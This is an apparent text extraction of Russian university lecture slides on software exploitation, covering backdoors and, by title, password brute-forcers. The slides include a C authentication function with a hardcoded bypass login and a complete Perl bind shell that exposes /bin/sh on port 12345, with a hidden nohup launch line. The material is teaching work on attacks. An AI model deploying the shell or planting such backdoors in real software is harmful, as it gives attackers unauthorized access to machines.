Лекция 4
.pdfБэкдоры |
Переборщики паролей |
|
|
ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ ПО ЛЕКЦИЯ 0x04
Браницкий А.А.
Санкт-Петербургский государственный университет телекоммуникаций им. проф. М.А. Бонч-Бруевича
Лекция 4, Санкт-Петербург, 03 ноября 2021 г.
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
1/19 |
Бэкдоры |
Переборщики паролей |
|
|
Содержание
Бэкдоры
Переборщики паролей
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
|
Бэкдоры |
Переборщики паролей |
|
|
Определение бэкдора
Бэкдор изъян программы, предоставляющий несанкционированный доступ к ресурсам или данным компьютера.
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
2/19 |
Бэкдоры |
Переборщики паролей |
|
|
Свойства бэкдора
Сложно обнаруживаемый
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
3/19 |
Бэкдоры |
Переборщики паролей |
|
|
Свойства бэкдора
Сложно обнаруживаемый Повторно используемый
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
3/19 |
Бэкдоры |
Переборщики паролей |
|
|
Свойства бэкдора
Сложно обнаруживаемый
Повторно используемый Не поддающийся модификации
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
3/19 |
Бэкдоры |
Переборщики паролей |
|
|
Свойства бэкдора
Сложно обнаруживаемый
Повторно используемый
Не поддающийся модификации Сложно воспроизводимый
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
3/19 |
Бэкдоры |
Переборщики паролей |
|
|
Пример бэкдора
void authorize(const char *login, const char *passwd)
{
u_char access = 0;
if (strcmp(login, "abracadabra") == 0) access = 1;
else if (check(login, passwd) == 1) access = 1;
if (access == 0)
fprintf(stderr, "Access is closed\n"); else
{
... // Предоставление доступа к ресурсам машины
... // для корректно авторизованных пользователей
}
}
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
4/19 |
Бэкдоры |
Переборщики паролей |
|
Пример бэкдора |
|
|
|
void authorize(const char *login, |
|
|
const char *passwd) |
|
{ |
бэкдор |
|
|
u_char access = 0; |
|
|
|
|
|
if (strcmp(login, "abracadabra") == 0) |
|
|
access = 1; |
|
|
else if (check(login, passwd) == 1) |
|
|
access = 1; |
|
|
if (access == 0) |
|
|
fprintf(stderr, "Access is closed\n"); |
|
|
else |
|
{ |
|
... // Предоставление доступа к ресурсам машины
... // для корректно авторизованных пользователей
}
}
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
4/19 |
Бэкдоры |
|
Переборщики паролей |
Сетевой bind-бэкдор remote_shell.pl |
||
1 # !/ usr / bin / perl |
-w |
|
2 use |
strict ; |
|
3 use |
Socket ; |
|
4 use |
POSIX ; |
|
5 my |
( $port , $address ) = (12345 , ' 0.0.0.0 '); |
|
6 my |
$socket ; |
|
7 socket ( $socket , |
PF_INET , SOCK_STREAM , |
8( getprotobyname ( ' tcp ' ))[2]);
9 bind ( $socket , pack_sockaddr_in ( $port ,
10 |
inet_aton ( $address ))); |
11 listen ( $socket , |
1024); |
12 my $in_socket ;
13 accept ( $in_socket , $socket ); 14 dup2 ( fileno ( $in_socket ), 0); 15 dup2 ( fileno ( $in_socket ), 1); 16 dup2 ( fileno ( $in_socket ), 2);
17exec ("/ bin / sh " );
#Start the script as nohup perl remote_shell.pl &>/dev/null &
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
5/19 |